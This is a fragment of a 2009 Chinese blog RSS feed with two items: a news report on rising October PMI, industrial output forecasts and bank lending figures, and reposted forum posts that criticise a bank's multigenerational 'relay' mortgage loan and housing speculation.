		<description><![CDATA[　　继超出预期的官方制造业采购经理指数（PMI）前日揭晓后，昨日又有多个关于10月份宏观经济好转的“信号”，在一天内同时释放——汇丰中国PMI再创新高、“第四季度规模以上工业增加值增速可以达到15%至16%”、“四大行10月份合计新增人民币贷款1360亿元”。 　　重重“利好”消息包围下，包括野村证券中国区首席经济学家孙明春在内的多位专家同时发布报告，预测国内生产总值（GDP）增速最快四季度就会达到两位数。 　　PMI逆势上扬 　　昨日一马当先的好消息，显然是有着“民间”PMI之称的汇丰中国PMI再创新高。 　　PMI是眼下最受关注的一个经济先行指标，若该数据高于50%，说明经济正呈现扩张之势；反之则意味着经济将迎来衰退。 　　最新数据显示，10月汇丰中国PMI为55.4%，较上月的55.0%继续上涨，创出了18个月来新高。这和前日公布的官方PMI走势保持了一致。中国物流与采购联合会11月1日公布，10月PMI从9月的54.3上升至55.2，创出18个月以来新高。 　　具体来看，10月份，支撑汇丰中国PMI的最大因素是就业的强劲增长率——该分项指标已连续第5个月保持增长，在当月更是大幅升至55.3%这一五年多来的最高值。 　　汇丰中国调查显示，“新业务量大幅上升，促使厂商增聘人手，部分厂商还实施了毕业招聘计划。” 　　此外，拜海外需求转强所赐，10月份新出口业务量指标也连续第5个月保持上升趋势，升幅为2007年6月以来的最高纪录。 　　值得一提的是，制造业产出、新业务量等构成PMI数据的重要分项指标在10月虽然继续维持增长，但与上月相比增幅有所下降，这让市场人士感到些许不安。 　　对此，兴业证券首席经济学家董先安的研究显示，PMI数据呈季节性（包括假期因素等影响），历年10月份，PMI通常都会较此前几个月有明显回落。也就是说，今年10月份PMI的表现其实已属强劲。 　　“制造业强劲复苏态势有望持续，并支撑四季度经济强有力的增长。”针对最新PMI数据，汇丰中国首席经济师屈宏斌昨日评价道。 　　工业增加值或狂飙 　　除PMI外，工业和信息化部部长李毅中在昨日举行的“2009中国互联网大会”上表示，当前“从工业领域来看，生产增长总体加快，企业盈利状况有所改变，工业投资持续增长，工业的用电量、铁路的运输量也逐月回升。” 　　李毅中甚至在当天对备受关注的工业增加值数据给出了预测：预计第四季度规模以上工业增加值（同比增幅，下同）可以达到15%至16%，全年可达10%到11%。 　　上个月工业增加值同比增速为13.9%。而按国家统计局的历史数据，这个直接代表企业生产情况的数据上一次出现16%还是在2008年6月，当时危机尚未波及国内。 　　随着危机爆发，2008年6月份后，工业增加值逐步下探，并在2008年10月份骤降至8.2%的个位数，其后的11月，该指标又创下5.4%的9年最低值。 　　如此也就揭示了下一阶段工业增加值猛增，除工业复苏原因外，去年的低基数也是重要原因。 　　显见的是，在快速增长的数字背后，困扰工业生产的产能过剩问题依然悬而未决。国内最大的钢铁生产企业宝钢昨日就透露，受年度维修计划影响，预计四季度钢材销售将较三季度减少20万吨左右。 　　宝钢预计，四季度其内外部环境将面临不利因素。 　　事实上，自8月初出现的供大于求局面已开始拖累中国的钢铁市场，8月和9月粗钢产量创纪录也已导致库存上升。 　　信贷数据超预期 　　昨日最晚揭晓的一个利好消息是四大国有商业银行的最新信贷数据。据财经网报道，工、农、中、建四大国有银行10月份合计新增人民币贷款1360亿元，较上月有所回升。其中中行（601988）新增人民币贷款额重新在四大行中高居首位，10月新增贷款额为440亿元。受票据到期因素影响，前几个月一直高居同业首位的中行，新增人民币贷款一度从8月的722亿元突降至9月的30亿元左右。 　　考虑到10月份还有多达8天的国庆长假，上述数据如属实，无疑将提振市场信心。 　　如按照上月股份制银行放贷远超国有银行的趋势来看，这也就意味着本月信贷数据或将明显超过市场预期。 　　这显然为乐观的经济学家们再添一个理由。毕竟，无论是工业生产加速、还是消费走强，在众多专家眼中，其根源无非是政府采取的救市计划仍在发力。 　　但这也就带来了一个全球经济目前都在遭遇的难题：如果政府停止救市政策会怎么样？ 　　根据全球知名的投资者关系顾问公司富迪讯昨日公布的《全球投资者评论》调查结果，随着眼下经济强劲复苏，超过75％的受访者对2010年股票市场的前景持中立或乐观态度。 　　这份访问了150家全球最大投资基金经理的调查强调：“世界范围内各国政府刺激经济方案的实施正是促使市场信心增强的关键，但是一旦这些措施被终止，投资者对市场前景的态度则趋于审慎。”]]></description>
		<link>http://www.zhan.us/2009/11/03/pmi-rasise-and-economic-goes-stronger/</link>
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		<title>银行太有才！都推出接力贷了</title>
		<description><![CDATA[如果将来中国也出现房地产危机了，那么这些做决策的人都该被TJJTDS，艹！ 中国的商品房才70年产权，买了房就真世世代代都是房奴了。 发信人: royallh (肯尼迪), 信区: RealEstate 标 题: 银行太有才了！！ 发信站: 水木社区 (Sun Nov 1 01:24:57 2009), 站内 听人说，2004年前的银行房贷，当时房价还不算离谱，北京很多房子四五千，首付也就是个10多万，大部分客户选择房贷的期限，一般都是10年还清，压力是由，但是还可以接受。到了2004年以后，慢慢的就不行了，房价飞涨，首付很多人都要靠啃老，把双方父母的积蓄都攒上才能够，而房贷的期限，受累于贷款总额过高，10年还清的话，几乎很少有人能够还清，期限都开始展到20年，30年。到了09年以后，经济危机袭来，房价作了个俯卧撑，又开始猛涨，为什么呢？国家的房地产优惠政策，首付比例降低到20%，房贷期限，几乎大部分客户都选择30年了。这难道不是危机信号么？当时我在想，应该再涨不下去了吧，老百姓收入就这么点，开始买房的都快３０岁了，３０年房贷，不得把人逼疯？而且房价不可能再涨了，因为再没有杠杆可用了，再涨真没人买得起了，你不可能首付再降低至１０％吧，不可能房贷期限延长至４０年吧。 现在看来，我大大低估了银行的智慧了。农业银行最近推出了接力贷。。。所谓接力贷，就是指以某一子女(或子女与其配偶)作为所购房屋的所有权人，父母双方或一方与该子女作为共同借款人，贷款购买住房的住房信贷产品。简单来说，就是你３５岁了，买个房子，到你６０岁退休，你顶多贷２５年，可是房价太贵，２５年算下来，每月换款额超过了你的收入，怎么办呢？给你贷５０年，你还到退休，你的儿子继续还，美其名曰接力贷。 这么看来，以前我是低估了呀，买一套房要上下祖孙三代呀，首付把父母的积蓄掏光，月供把你这一辈子以后的收入掏光，接力贷，还要延续到子孙，看来房价还大大地有上涨空间呀。涨到１００万／平米，可以搞个子子孙孙接力贷款，子子孙孙都开始做房奴。。。 银行是有需求就有产品，其实也不能怪银行，最可恨呀，这房地产政策，让人发指。 &#8211; 每天早上起床，我就看一遍世界福布斯富豪排行榜，如果上面没有我的名字，我就去赚钱。 发信人: caikk (毛利小五郎), 信区: RealEstate 标 题: Re: 银行太有才了！！ 发信站: 水木社区 (Sun Nov 1 07:11:13 2009), 站内 真正的杠杆在于现在有些地方 还在按揭的房子可以根据现在的市价评估作抵押贷款 比如你贷款50w买了100w的房子 现在按市价号称涨到200w 你可以抵押150w 抵押的钱再去炒房 这才是银行最大的危机]]></description>
		<link>http://www.zhan.us/2009/11/01/china-banks-do-evil/</link>
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